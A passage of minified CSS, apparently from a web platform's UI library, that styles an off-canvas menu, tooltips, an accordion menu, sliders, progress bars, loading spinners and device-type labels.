.c3MenuOffc-toggle-icon:before{position:absolute;top:50%;left:50%;height:4px;width:35px;cursor:pointer;background:#888;display:block;content:'';-webkit-transition:all 500ms ease-in-out;transition:all 500ms ease-in-out}.c3MenuOffc-toggle-label .c3MenuOffc-toggle-icon{transform:translate3d(-50%,-4px,0);-webkit-transform:translate3d(-50%,-4px,0)}.c3MenuOffc-toggle-label .c3MenuOffc-toggle-icon:before{transform:translate3d(-50%,-14px,0);-webkit-transform:translate3d(-50%,-14px,0)}.c3MenuOffc-toggle-label .c3MenuOffc-toggle-icon:after{transform:translate3d(-50%,10px,0);-webkit-transform:translate3d(-50%,10px,0)}.c3MenuOffc-toggle-label[data-toggle-label=right]{right:15px;left:auto}.c3MenuOffc-toggle-label[data-toggle-label=top]{right:50%;left:50%}.c3MenuOffc-toggle-label[data-toggle-label=left]{right:auto;left:15px}.c3MenuOffc-toggle[data-toggle=right]:checked~.c3MenuOffc-toggle-label:not([data-toggle-label=right]){opacity:0;z-index:-1}.c3MenuOffc-toggle[data-toggle=right]:checked~.c3MenuOffc-toggle-label[data-toggle-label=right] .c3MenuOffc-toggle-icon,.c3MenuOffc-toggle[data-toggle=top]:checked~.c3MenuOffc-toggle-label[data-toggle-label=top] .c3MenuOffc-toggle-icon,.c3MenuOffc-toggle[data-toggle=left]:checked~.c3MenuOffc-toggle-label[data-toggle-label=left] .c3MenuOffc-toggle-icon{background-color:transparent}.c3MenuOffc-toggle[data-toggle=right]:checked~.c3MenuOffc-toggle-label[data-toggle-label=right] .c3MenuOffc-toggle-icon:after,.c3MenuOffc-toggle[data-toggle=right]:checked~.c3MenuOffc-toggle-label[data-toggle-label=right] .c3MenuOffc-toggle-icon:before,.c3MenuOffc-toggle[data-toggle=top]:checked~.c3MenuOffc-toggle-label[data-toggle-label=top] .c3MenuOffc-toggle-icon:after,.c3MenuOffc-toggle[data-toggle=top]:checked~.c3MenuOffc-toggle-label[data-toggle-label=top] .c3MenuOffc-toggle-icon:before,.c3MenuOffc-toggle[data-toggle=left]:checked~.c3MenuOffc-toggle-label[data-toggle-label=left] .c3MenuOffc-toggle-icon:after,.c3MenuOffc-toggle[data-toggle=left]:checked~.c3MenuOffc-toggle-label[data-toggle-label=left] .c3MenuOffc-toggle-icon:before{top:0}.c3MenuOffc-toggle[data-toggle=right]:checked~.c3MenuOffc-toggle-label[data-toggle-label=right] .c3MenuOffc-toggle-icon:before,.c3MenuOffc-toggle[data-toggle=top]:checked~.c3MenuOffc-toggle-label[data-toggle-label=top] .c3MenuOffc-toggle-icon:before,.c3MenuOffc-toggle[data-toggle=left]:checked~.c3MenuOffc-toggle-label[data-toggle-label=left] .c3MenuOffc-toggle-icon:before{-ms-transform:translateX(-50%) rotate(45deg);transform:translateX(-50%) rotate(45deg);-webkit-transform:translateX(-50%) rotate(45deg)}.c3MenuOffc-toggle[data-toggle=right]:checked~.c3MenuOffc-toggle-label[data-toggle-label=right] .c3MenuOffc-toggle-icon:after,.c3MenuOffc-toggle[data-toggle=top]:checked~.c3MenuOffc-toggle-label[data-toggle-label=top] .c3MenuOffc-toggle-icon:after,.c3MenuOffc-toggle[data-toggle=left]:checked~.c3MenuOffc-toggle-label[data-toggle-label=left] .c3MenuOffc-toggle-icon:after{-ms-transform:translateX(-50%) translateY(-10px) rotate(-45deg);transform:translateX(-50%) translateY(-10px) rotate(-45deg);-webkit-transform:translateX(-50%) translateY(-10px) rotate(-45deg);top:10px}.c3MenuOffc-drawer{left:0;z-index:1;height:100%;visibility:hidden;background-color:#0985C4;-webkit-transition-property:all;transition-property:all;transition-duration:500ms;-webkit-transition-timing-function:ease-out;transition-timing-function:ease-out;width:100%}.c3MenuOffc-drawer,.c3MenuOffc-overlay{position:fixed;top:0;-webkit-transition-duration:500ms}@media only screen and (min-width:40.063em){.c3MenuOffc-drawer{width:300px}}@media only screen and (min-width:64.063em){.c3MenuOffc-drawer{width:300px}}.c3MenuOffc-drawer[data-position=right]{left:auto;right:0}.c3MenuOffc-drawer[data-position=top]{height:100%;width:100%}@media only screen and (min-width:40.063em){.c3MenuOffc-drawer[data-position=top]{height:100%}}@media only screen and (min-width:64.063em){.c3MenuOffc-drawer[data-position=top]{height:100px}}.c3MenuOffc-overlay{bottom:0;right:0;width:0;height:0;opacity:0;background-color:rgba(0,0,0,.4);-webkit-transition-property:opacity;transition-property:opacity;transition-duration:500ms;-webkit-transition-delay:500ms;transition-delay:500ms;-webkit-transition-timing-function:ease-in-out;transition-timing-function:ease-in-out}.c3MenuOffc-toggle[data-toggle=left]:checked~.c3MenuOffc-overlay[data-overlay=left]{left:100%}.c3MenuOffc-toggle[data-toggle=right]:checked~.c3MenuOffc-overlay[data-overlay=right]{right:100%}.c3MenuOffc-toggle[data-toggle=top]:checked~.c3MenuOffc-overlay[data-overlay=top]{top:100%}@media only screen and (min-width:40.063em){.c3MenuOffc-toggle[data-toggle=left]:checked~.c3MenuOffc-overlay[data-overlay=left]{left:300px}.c3MenuOffc-toggle[data-toggle=right]:checked~.c3MenuOffc-overlay[data-overlay=right]{right:300px}.c3MenuOffc-toggle[data-toggle=top]:checked~.c3MenuOffc-overlay[data-overlay=top]{top:100%}}@media only screen and (min-width:64.063em){.c3MenuOffc-toggle[data-toggle=left]:checked~.c3MenuOffc-overlay[data-overlay=left]{left:300px}.c3MenuOffc-toggle[data-toggle=right]:checked~.c3MenuOffc-overlay[data-overlay=right]{right:300px}.c3MenuOffc-toggle[data-toggle=top]:checked~.c3MenuOffc-overlay[data-overlay=top]{top:100px}}.c3MenuOffc-toggle[data-toggle=right]:checked~.c3MenuOffc-overlay[data-overlay=right],.c3MenuOffc-toggle[data-toggle=top]:checked~.c3MenuOffc-overlay[data-overlay=top],.c3MenuOffc-toggle[data-toggle=left]:checked~.c3MenuOffc-overlay[data-overlay=left]{width:100%;height:100%;opacity:1;z-index:2}[data-effect=c3MenuOffc-effect-slide] .c3MenuOffc-drawer{z-index:3;padding-top:44px;-webkit-transition-duration:500ms;transition-duration:500ms}[data-effect=c3MenuOffc-effect-slide] .c3MenuOffc-drawer[data-position=left]{-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}[data-effect=c3MenuOffc-effect-slide] .c3MenuOffc-drawer[data-position=right]{-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}[data-effect=c3MenuOffc-effect-slide] .c3MenuOffc-drawer[data-position=top]{-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}[data-effect=c3MenuOffc-effect-slide] .c3MenuOffc-toggle[data-toggle=right]:checked~.c3MenuOffc-drawer[data-position=right],[data-effect=c3MenuOffc-effect-slide] .c3MenuOffc-toggle[data-toggle=top]:checked~.c3MenuOffc-drawer[data-position=top],[data-effect=c3MenuOffc-effect-slide] .c3MenuOffc-toggle[data-toggle=left]:checked~.c3MenuOffc-drawer[data-position=left]{visibility:visible;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}[data-effect=c3MenuOffc-effect-slide] .c3MenuOffc-overlay{-webkit-transition-duration:500ms;transition-duration:500ms;-webkit-transition-delay:250ms;transition-delay:250ms}.c3-tooltip-default{border:1px solid #ccc;background:#fff;color:#333;max-width:300px;min-width:300px}.c3-tooltip-default .c3-tooltip-content{font-family:Arial,sans-serif;font-size:12px;line-height:16px;padding:18px 20px;overflow:hidden}.c3-tooltip-default .c3-tooltip-close{background-image:url(platform/images/c3-platform-sprite.png);background-repeat:no-repeat;background-position:0 -32px;height:19px;width:19px;position:absolute;right:0;top:0;cursor:pointer}.c3-tooltip-default .c3-tooltip-close:hover{background-image:url(platform/images/c3-platform-sprite.png);background-position:-19px -32px}.c3-tooltip-default .c3-tooltip-title{font-family:Arial,sans-serif;font-size:14px;font-weight:700;line-height:14px;padding-bottom:16px}.c3-tooltip-icon{cursor:help;margin-left:4px}.c3-tooltip-base{padding:0;font-size:0;line-height:0;position:absolute;left:0;top:0;z-index:9999999;pointer-events:none;width:auto;overflow:visible}.c3-tooltip-base .c3-tooltip-content{overflow:hidden}.c3-tooltip-arrow{display:block;text-align:center;width:100%;height:100%;position:absolute;top:0;left:0;z-index:-1}.c3-tooltip-arrow span,.c3-tooltip-arrow-border{display:block;width:0;height:0;position:absolute}.c3-tooltip-arrow-top span,.c3-tooltip-arrow-top-left span,.c3-tooltip-arrow-top-right span{border-left:8px solid transparent!important;border-right:8px solid transparent!important;border-top:8px solid;bottom:-7px}.c3-tooltip-arrow-top .c3-tooltip-arrow-border,.c3-tooltip-arrow-top-left .c3-tooltip-arrow-border,.c3-tooltip-arrow-top-right .c3-tooltip-arrow-border{border-left:9px solid transparent!important;border-right:9px solid transparent!important;border-top:9px solid;bottom:-7px}.c3-tooltip-arrow-bottom span,.c3-tooltip-arrow-bottom-left span,.c3-tooltip-arrow-bottom-right span{border-left:8px solid transparent!important;border-right:8px solid transparent!important;border-bottom:8px solid;top:-7px}.c3-tooltip-arrow-bottom .c3-tooltip-arrow-border,.c3-tooltip-arrow-bottom-left .c3-tooltip-arrow-border,.c3-tooltip-arrow-bottom-right .c3-tooltip-arrow-border{border-left:9px solid transparent!important;border-right:9px solid transparent!important;border-bottom:9px solid;top:-7px}.c3-tooltip-arrow-bottom .c3-tooltip-arrow-border,.c3-tooltip-arrow-bottom span,.c3-tooltip-arrow-top .c3-tooltip-arrow-border,.c3-tooltip-arrow-top span{left:0;right:0;margin:0 auto}.c3-tooltip-arrow-bottom-left span,.c3-tooltip-arrow-top-left span{left:6px}.c3-tooltip-arrow-bottom-left .c3-tooltip-arrow-border,.c3-tooltip-arrow-top-left .c3-tooltip-arrow-border{left:5px}.c3-tooltip-arrow-bottom-right span,.c3-tooltip-arrow-top-right span{right:6px}.c3-tooltip-arrow-bottom-right .c3-tooltip-arrow-border,.c3-tooltip-arrow-top-right .c3-tooltip-arrow-border{right:5px}.c3-tooltip-arrow-left .c3-tooltip-arrow-border,.c3-tooltip-arrow-left span{border-top:8px solid transparent!important;border-bottom:8px solid transparent!important;border-left:8px solid;top:50%;margin-top:-7px;right:-7px}.c3-tooltip-arrow-left .c3-tooltip-arrow-border{border-top:9px solid transparent!important;border-bottom:9px solid transparent!important;border-left:9px solid;margin-top:-8px}.c3-tooltip-arrow-right .c3-tooltip-arrow-border,.c3-tooltip-arrow-right span{border-top:8px solid transparent!important;border-bottom:8px solid transparent!important;border-right:8px solid;top:50%;margin-top:-7px;left:-7px}.c3-tooltip-arrow-right .c3-tooltip-arrow-border{border-top:9px solid transparent!important;border-bottom:9px solid transparent!important;border-right:9px solid;margin-top:-8px}.c3-tooltip-fade{opacity:0;-webkit-transition-property:opacity;-moz-transition-property:opacity;-o-transition-property:opacity;-ms-transition-property:opacity;transition-property:opacity}.c3-tooltip-fade-show{opacity:1}.c3-tooltip-grow{-webkit-transform:scale(0,0);-moz-transform:scale(0,0);-o-transform:scale(0,0);-ms-transform:scale(0,0);transform:scale(0,0);-webkit-transition-property:-webkit-transform;transition-property:transform;-webkit-backface-visibility:hidden}.c3-tooltip-grow,.c3-tooltip-swing{-moz-transition-property:-moz-transform;-o-transition-property:-o-transform;-ms-transition-property:-ms-transform}.c3-tooltip-grow-show{-webkit-transform:scale(1,1);-moz-transform:scale(1,1);-o-transform:scale(1,1);-ms-transform:scale(1,1);transform:scale(1,1);-webkit-transition-timing-function:cubic-bezier(.175,.885,.32,1);-webkit-transition-timing-function:cubic-bezier(.175,.885,.32,1.15);-moz-transition-timing-function:cubic-bezier(.175,.885,.32,1.15);-ms-transition-timing-function:cubic-bezier(.175,.885,.32,1.15);-o-transition-timing-function:cubic-bezier(.175,.885,.32,1.15);transition-timing-function:cubic-bezier(.175,.885,.32,1.15)}.c3-tooltip-swing{opacity:0;-webkit-transform:rotateZ(4deg);-moz-transform:rotateZ(4deg);-o-transform:rotateZ(4deg);-ms-transform:rotateZ(4deg);transform:rotateZ(4deg);-webkit-transition-property:-webkit-transform,opacity;transition-property:transform}.c3-tooltip-swing-show{opacity:1;-webkit-transform:rotateZ(0);-moz-transform:rotateZ(0);-o-transform:rotateZ(0);-ms-transform:rotateZ(0);transform:rotateZ(0);-webkit-transition-timing-function:cubic-bezier(.23,.635,.495,1);-webkit-transition-timing-function:cubic-bezier(.23,.635,.495,2.4);-moz-transition-timing-function:cubic-bezier(.23,.635,.495,2.4);-ms-transition-timing-function:cubic-bezier(.23,.635,.495,2.4);-o-transition-timing-function:cubic-bezier(.23,.635,.495,2.4);transition-timing-function:cubic-bezier(.23,.635,.495,2.4)}.c3-tooltip-fall{top:0;-webkit-transition-property:top;-moz-transition-property:top;-o-transition-property:top;-ms-transition-property:top;transition-property:top;-webkit-transition-timing-function:cubic-bezier(.175,.885,.32,1.15);transition-timing-function:cubic-bezier(.175,.885,.32,1.15)}.c3-tooltip-fall,.c3-tooltip-slide{-webkit-transition-timing-function:cubic-bezier(.175,.885,.32,1);-moz-transition-timing-function:cubic-bezier(.175,.885,.32,1.15);-ms-transition-timing-function:cubic-bezier(.175,.885,.32,1.15);-o-transition-timing-function:cubic-bezier(.175,.885,.32,1.15)}.c3-tooltip-fall.c3-tooltip-dying{-webkit-transition-property:all;-moz-transition-property:all;-o-transition-property:all;-ms-transition-property:all;transition-property:all;top:0!important;opacity:0}.c3-tooltip-slide{left:-40px;-webkit-transition-property:left;-moz-transition-property:left;-o-transition-property:left;-ms-transition-property:left;transition-property:left;-webkit-transition-timing-function:cubic-bezier(.175,.885,.32,1.15);transition-timing-function:cubic-bezier(.175,.885,.32,1.15)}.c3-tooltip-slide.c3-tooltip-dying{-webkit-transition-property:all;-moz-transition-property:all;-o-transition-property:all;-ms-transition-property:all;transition-property:all;left:0!important;opacity:0}.c3-tooltip-content-changing{opacity:.5;-webkit-transform:scale(1.1,1.1);-moz-transform:scale(1.1,1.1);-o-transform:scale(1.1,1.1);-ms-transform:scale(1.1,1.1);transform:scale(1.1,1.1)}.c3-tooltip-aria-container{display:none}.c3-menu-accordion-outer-container{padding-left:22px}.c3-menu-accordion-container{width:210px;font-family:Arial;font-weight:400;font-size:12px;border-top:1px solid #fff;border-right:1px solid #fff;border-left:1px solid #fff;background:#FFF}.c3-menu-accordion-container ul{list-style:none}.c3-menu-accordion-container ul,.c3-menu-accordion-container ul li{margin:0;padding:0;border:none;background:#FFF}.c3-menu-accordion-container ul li{display:block}.c3-menu-accordion-container ul a{padding:2px 10px 3px 0;text-decoration:none;display:block;color:#666;border-bottom:1px solid #fff;border-top:0 solid #fff;position:relative;text-shadow:1px 1px 1px #fff}.c3-menu-accordion-container .c3-lvl-0 a{border-bottom:1px solid #ccc;color:#333;font-size:16px;text-transform:capitalize;line-height:1;padding:18px 26px 17px 5px}.c3-menu-accordion-container .c3-lvl-1 a{border-bottom:1px solid #ccc;color:#333;font-size:14px;font-family:arial;text-transform:none;padding-top:18px;padding-bottom:17px;padding-left:22px;line-height:1}.c3-menu-accordion-container .c3-lvl-2 li a{margin-left:22px;border-left:1px solid #ccc}.c3-menu-accordion-container .c3-lvl-2 a{border-bottom:1px solid #fff;font-size:12px}.c3-menu-accordion-container li a.c3-lvl-2.dcjq-parent.active{border-bottom:none}.c3-menu-accordion-container a.dcjq-parent.c3-lvl-1 span.dcjq-icon{position:absolute;top:20px;right:0;width:7px;height:13px;margin-right:0;background:url(platform/images/c3-platform-sprite.png) -56px -36px no-repeat}.c3-menu-accordion-container a.dcjq-parent.c3-lvl-1.active span.dcjq-icon{position:absolute;top:23px;width:13px;height:7px;background:url(platform/images/c3-platform-sprite.png) -65px -38px no-repeat}.c3-menu-accordion-container a.dcjq-parent.c3-lvl-2 span.dcjq-icon{position:absolute;right:0;width:6px;height:8px;top:20px;margin-right:5px;background:url(platform/images/c3-platform-sprite.png) -81px -38px no-repeat}.c3-menu-accordion-container a.dcjq-parent.c3-lvl-2.active span.dcjq-icon{position:absolute;top:23px;right:0;height:6px;width:8px;background:url(platform/images/c3-platform-sprite.png) -89px -38px no-repeat}.c3-menu-accordion-container ul li.activeAME,.c3-menu-accordion-container ul li.selected{background-color:#e5e5e5}.c3-menu-accordion-container ul li.activeAME .dcjq-icon{position:absolute;top:50%;right:3px;background:url(platform/images/c3-platform-sprite.png) -56px -36px no-repeat;height:11px;width:6px;margin-top:-3px;margin-left:3px}.c3-menu-accordion-container .c3-lvl-3 li a{background-color:transparent;background-repeat:no-repeat;color:#999;background-position:0 15px;padding-left:25px;padding-top:5px;font-size:11px}.c3-menu-accordion-container ul a:hover{color:#0076C0;text-decoration:underline}.c3-menu-accordion-container a.active{font-weight:700}.c3-menu-accordion-container a[aria-selected=true]{background:#fff!important;font-weight:700}.c3-menu-accordion-container .c3-lvl-1 a[aria-selected=true]{font-size:13px}.c3-menu-accordion-container .c3-lvl-2 a[aria-selected=true]{margin-left:22px;background-color:#eee!important;border-left:2px solid #333;padding-top:12px;padding-bottom:12px;color:#333;font-weight:400}.c3-menu-accordion-container .c3-lvl-2 li:last-child{border-bottom:1px solid #ccc}.c3-menu-accordion-container .c3-lvl-2 li a{color:#0076C0;padding:12px 21px 12px 12px}.c3-menu-accordion-container .c3-lvl-2 li:last-child a{margin-bottom:18px;border-bottom:none}.c3-menu-accordion-container a[aria-selected=true]:hover{color:#0076C0;text-decoration:underline}.c3-hidden{display:none}.c3-slider-vertical-track{width:7px;background:0 0;border-radius:7px;-webkit-transition:background 250ms linear;transition:background 250ms linear;margin:0 auto}.c3-slider-vertical-track.dragging,.c3-slider-vertical-track:hover{background:#ccc;background:rgba(0,0,0,.15)}.c3-slider-vertical-handle{width:7px;right:0;background:#c3c3c3;background:rgba(0,0,0,.4);border-radius:7px;-webkit-transition:width 250ms;transition:width 250ms}.c3-slider-vertical-track.dragging .c3-slider-vertical-handle,.c3-slider-vertical-track:hover .c3-slider-vertical-handle{width:7px}.c3-slider-horizontal-track{width:100%;height:7px;background:0 0;margin-right:2px;border-radius:7px;-webkit-transition:background 250ms linear;transition:background 250ms linear}.c3-slider-horizontal-handle{height:7px;background:#c3c3c3;background:rgba(0,0,0,.4);border-radius:7px;-webkit-transition:width 250ms;transition:width 250ms}.c3-progressbar>ol,.c3-progressbar>ul{list-style-type:none;float:left;margin:42px 0 50px;overflow:hidden;padding:0 0 4px;width:100%;font-family:Arial;font-size:13px;text-decoration:none}.c3-progressbar>ul>li{float:left;position:relative;font-size:13px}.c3-progressbar.c3-progressbar-cols-2>ul>li{width:50%;padding-right:10px;box-sizing:border-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box}.c3-progressbar.c3-progressbar-cols-3>ul>li{width:33.33%;box-sizing:border-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box}.c3-progressbar.c3-progressbar-cols-4>ul>li{width:25%;box-sizing:border-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box}.c3-progressbar.c3-progressbar-cols-5>ul>li{width:20%;box-sizing:border-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box}.c3-progressbar>ul>li>.c3-progressbar-itemcontainer{position:relative;height:18px;text-align:top;display:table-cell;vertical-align:bottom;padding:0 4px}.c3-progressbar>ul>li.c3-progressbar-active.c3-progressbar-past>.c3-progressbar-itemcontainer>.c3-progressbar-text,.c3-progressbar>ul>li.c3-progressbar-active.c3-progressbar-past>.c3-progressbar-itemcontainer>.c3-progressbar-text a{color:#767576;padding:0;font-weight:400}.c3-progressbar>ul>li.c3-progressbar-active.c3-progressbar-past>.c3-progressbar-itemcontainer>.c3-progressbar-text a:hover,.c3-progressbar>ul>li.c3-progressbar-active.c3-progressbar-past>.c3-progressbar-itemcontainer>.c3-progressbar-text:hover{padding:0;font-weight:400;cursor:pointer!important}.c3-progressbar>ul>li.c3-progressbar-active>.c3-progressbar-itemcontainer>.c3-progressbar-text,.c3-progressbar>ul>li.c3-progressbar-active>.c3-progressbar-itemcontainer>.c3-progressbar-text a{color:#333;cursor:pointer;padding:0;font-weight:700}.c3-progressbar>ul>li>.c3-progressbar-itemcontainer>.c3-progressbar-text,.c3-progressbar>ul>li>.c3-progressbar-itemcontainer>.c3-progressbar-text a{color:#767576;padding:0;font-weight:400}.c3-progressbar-underline-wrapper{padding:12px 0 0}.c3-progressbar .c3-progressbar-underline{display:block;overflow:visible;position:relative;width:100%;left:2px}.c3-progressbar .c3-progressbar-underline:before{content:'';height:6px;width:6px;border-radius:100%;float:left;background:#fff;margin-top:-3px;border:1px solid #9A9A9A;box-sizing:content-box;-moz-box-sizing:content-box;-webkit-box-sizing:content-box}li.c3-progressbar-active.c3-progressbar-partial.c3-progressbar-past>div.c3-progressbar-underline-wrapper>div.c3-progressbar-underline:before{content:'';height:6px;width:6px;border-radius:100%;float:left;margin-top:-2px;border:0 solid transparent!important;background:#333;box-shadow:0 0 0 1px #333;box-sizing:content-box;-moz-box-sizing:content-box;-webkit-box-sizing:content-box}li.c3-progressbar-active.c3-progressbar-partial div.c3-progressbar-underline-wrapper div.c3-progressbar-underline:before{content:'';height:7px;width:7px;border-radius:100%;float:left;margin-top:-7px;border:5px solid #fff;background:#333;box-shadow:0 0 0 1px #A1A1A1;box-sizing:content-box;-moz-box-sizing:content-box;-webkit-box-sizing:content-box}.c3-progressbar .c3-progressbar-underline>.c3-progressbar-underline-partial{background-color:#ccc;height:3px;margin-top:10px;cursor:default}.c3-progressbar>ul>li.c3-progressbar-active .c3-progressbar-underline>.c3-progressbar-underline-partial,.c3-progressbar>ul>li.c3-progressbar-active.c3-progressbar-past .c3-progressbar-underline>.c3-progressbar-underline-partial{height:3px;margin-top:10px;cursor:pointer}.c3-progressbar .c3-progressbar-underline>span{background-color:#999;display:block;height:12px;position:absolute;top:-4px;width:1px}.c3-progressbar-pointer{cursor:pointer}.c3-progressbar>ol,.c3-progressbar>ul{margin-top:21px;margin-bottom:12px}.c3-progressbar li.nonClickable>.c3-progressbar-itemcontainer>.c3-progressbar-text,.c3-progressbar li.nonClickable>.c3-progressbar-underline-wrapper>.c3-progressbar-underline>.c3-progressbar-underline-partial{cursor:default!important}.c3-progressbar li.nonClickable>.c3-progressbar-itemcontainer>.c3-progressbar-text:hover{color:#767576!important}.c3-progressbar li.lastElement{padding-right:0!important}.c3-progressbar li.lastElement>.c3-progressbar-underline-wrapper>.c3-progressbar-underline>.c3-progressbar-underline-partial{width:98%!important;background:0 0}.c3-progressbar-interactive>ol,.c3-progressbar-interactive>ul{list-style-type:none;float:left;margin:42px 0 50px;overflow:hidden;padding:0 0 4px;width:100%;font-family:Arial;font-size:13px;text-decoration:none}.c3-progressbar-interactive>ul>li{float:left;position:relative;font-size:13px}.c3-progressbar-interactive.c3-progressbar-interactive-cols-2>ul>li{width:50%;padding-right:10px;box-sizing:border-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box}.c3-progressbar-interactive.c3-progressbar-interactive-cols-3>ul>li{width:33.33%;box-sizing:border-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box}.c3-progressbar-interactive.c3-progressbar-interactive-cols-4>ul>li{width:25%;box-sizing:border-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box}.c3-progressbar-interactive.c3-progressbar-interactive-cols-5>ul>li{width:20%;box-sizing:border-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box}.c3-progressbar-interactive>ul>li>.c3-progressbar-interactive-itemcontainer{position:relative;height:18px;text-align:top;display:table-cell;vertical-align:bottom;padding:0 4px}.blockUI.blockMsg.blockPage,.c3-blocker{text-align:center}.c3-progressbar-interactive>ul>li.c3-progressbar-interactive-active.c3-progressbar-interactive-past>.c3-progressbar-interactive-itemcontainer>.c3-progressbar-interactive-text,.c3-progressbar-interactive>ul>li.c3-progressbar-interactive-active.c3-progressbar-interactive-past>.c3-progressbar-interactive-itemcontainer>.c3-progressbar-interactive-text a{color:#767576;padding:0;font-weight:400}.c3-progressbar-interactive>ul>li.c3-progressbar-interactive-active.c3-progressbar-interactive-past>.c3-progressbar-interactive-itemcontainer>.c3-progressbar-interactive-text a:hover,.c3-progressbar-interactive>ul>li.c3-progressbar-interactive-active.c3-progressbar-interactive-past>.c3-progressbar-interactive-itemcontainer>.c3-progressbar-interactive-text:hover{color:#0179BD!important;text-decoration:underline;padding:0;font-weight:400;cursor:pointer!important}.c3-progressbar-interactive>ul>li.c3-progressbar-interactive-active>.c3-progressbar-interactive-itemcontainer>.c3-progressbar-interactive-text,.c3-progressbar-interactive>ul>li.c3-progressbar-interactive-active>.c3-progressbar-interactive-itemcontainer>.c3-progressbar-interactive-text a{color:#333;cursor:pointer;padding:0;font-weight:700}.c3-progressbar-interactive>ul>li>.c3-progressbar-interactive-itemcontainer>.c3-progressbar-interactive-text,.c3-progressbar-interactive>ul>li>.c3-progressbar-interactive-itemcontainer>.c3-progressbar-interactive-text a{color:#767576;padding:0;font-weight:400;margin-left:2px}.c3-progressbar-interactive-underline-wrapper{padding:12px 0 0}.c3-progressbar-interactive .c3-progressbar-interactive-underline{display:block;overflow:visible;position:relative;width:100%;left:2px}.c3-progressbar-interactive .c3-progressbar-interactive-underline:before{content:'';height:6px;width:6px;border-radius:100%;float:left;background:#fff;margin-top:-3px;border:1px solid #9A9A9A;box-sizing:content-box;-moz-box-sizing:content-box;-webkit-box-sizing:content-box}li.c3-progressbar-interactive-active.c3-progressbar-interactive-partial.c3-progressbar-interactive-past>div.c3-progressbar-interactive-underline-wrapper>div.c3-progressbar-interactive-underline:before{content:'';height:6px;width:6px;border-radius:100%;float:left;margin-top:-2px;border:0 solid #0076C0!important;box-shadow:0 0 0 1px #0076C0!important;background:#0076C0;box-sizing:content-box;-moz-box-sizing:content-box;-webkit-box-sizing:content-box}li.c3-progressbar-interactive-active.c3-progressbar-interactive-partial div.c3-progressbar-interactive-underline-wrapper div.c3-progressbar-interactive-underline:before{content:'';height:7px;width:7px;border-radius:100%;float:left;margin-top:-7px;border:5px solid #fff;background:#333;box-shadow:0 0 0 1px #9A9A9A;box-sizing:content-box;-moz-box-sizing:content-box;-webkit-box-sizing:content-box}li.c3-progressbar-interactive-active.c3-progressbar-interactive-partial.c3-progressbar-interactive-past>div.c3-progressbar-interactive-underline-wrapper>div.c3-progressbar-interactive-underline:hover::before{content:'';height:7px;width:7px;border-radius:100%;float:left;margin-top:-7px;margin-left:-5px;border:5px solid #fff!important;background:#0179BD;cursor:pointer;box-shadow:0 0 0 1px #0179BD;box-sizing:content-box;-moz-box-sizing:content-box;-webkit-box-sizing:content-box}.c3-progressbar-interactive .c3-progressbar-interactive-underline>.c3-progressbar-interactive-underline-partial{background-color:#ccc;height:3px;margin-top:10px;cursor:default}.c3-progressbar-interactive>ul>li.c3-progressbar-interactive-active .c3-progressbar-interactive-underline>.c3-progressbar-interactive-underline-partial,.c3-progressbar-interactive>ul>li.c3-progressbar-interactive-active.c3-progressbar-interactive-past .c3-progressbar-interactive-underline>.c3-progressbar-interactive-underline-partial{height:3px;margin-top:10px;cursor:pointer}.c3-progressbar-interactive .c3-progressbar-interactive-underline>span{background-color:#999;display:block;height:12px;position:absolute;top:-4px;width:1px}.c3-progressbar-interactive-pointer{cursor:pointer}.c3-progressbar-interactive>ol,.c3-progressbar-interactive>ul{margin-top:21px;margin-bottom:12px;padding-left:9px}.c3-progressbar-interactive li.nonClickable>.c3-progressbar-interactive-itemcontainer>.c3-progressbar-interactive-text,.c3-progressbar-interactive li.nonClickable>.c3-progressbar-interactive-underline-wrapper>.c3-progressbar-interactive-underline>.c3-progressbar-interactive-underline-partial{cursor:default!important}.c3-progressbar-interactive li.nonClickable>.c3-progressbar-interactive-itemcontainer>.c3-progressbar-interactive-text:hover{color:#767576!important}.c3-progressbar-interactive li.lastElement{padding-right:0!important}.c3-progressbar-interactive li.lastElement>.c3-progressbar-interactive-underline-wrapper>.c3-progressbar-interactive-underline>.c3-progressbar-interactive-underline-partial{width:98%!important;background:0 0}.c3-blocker{background-position:center top;background-repeat:no-repeat;padding-top:31px}.c3-blocker.c3-blocker-small{background-image:url(platform/images/c3-spinner-small.gif);padding-top:31px}.c3-blocker.c3-blocker-medium{background-image:url(platform/images/c3-spinner-medium.gif);padding-top:45px}.c3-blocker.c3-blocker-large{background-image:url(platform/images/c3-spinner-large.gif);padding-top:60px}.blockUI.blockMsg.blockElement,.blockUI.blockMsg.blockPage{border:none!important;background:0 0!important}.blockUI.blockOverlay{background-color:#FFF!important}.device-type:after,.device-type:before{content:'desktop'}@media all and (device-width:1440px) and (device-height:900px){.device-type:before{content:'Laptop with HiDPI screen'}.device-type:after{content:'desktop'}}@media all and (device-width:1280px) and (device-height:800px){.device-type:before{content:'Laptop with MDPI screen'}.device-type:after{content:'desktop'}}@media all and (device-width:1280px) and (device-height:950px){.device-type:before{content:'Laptop with touch'}.device-type:after{content:'desktop'}}@media all and (max-device-width:1024px){.device-type:after,.device-type:before{content:'tablet'}}@media all and (device-width:1024px) and (device-height:600px){.device-type:before{content:'Amazon Kindle Fire(First Generation) || Blackberry Playbook || Samsung Galaxy Tab'}.device-type:after{content:'tablet'}}@media all and (device-width:1920px) and (device-height:1200px){.device-type:before{content:'Amazon Kindle Fire HDX 7"'}.device-type:after{content:'tablet'}}@media all and (device-width:2560px) and (device-height:1600px){.device-type:before{content:'Amazon Kindle Fire HDX 8.9"'}.device-type:after{content:'tablet'}}@media all and (device-width:1024px) and (device-height:768px) and (-webkit-device-pixel-ratio:2){.device-type:before{content:'Apple iPad 3/4'}.device-type:after{content:'tablet'}}@media all and (device-width:1024px) and (device-height:768px) and (-webkit-device-pixel-ratio:1){.device-type:before{content:'Apple iPad 1/2/iPad Mini'}.device-type:after{content:'tablet'}}@media all and (device-width:1280px) and (device-height:800px){.device-type:before{content:'Motorola Xoom, Xyboard || Google Nexus 10 || Samsung Galaxy Tab 7.7, 8.9, 10.1'}.device-type:after{content:'tablet'}}@media all 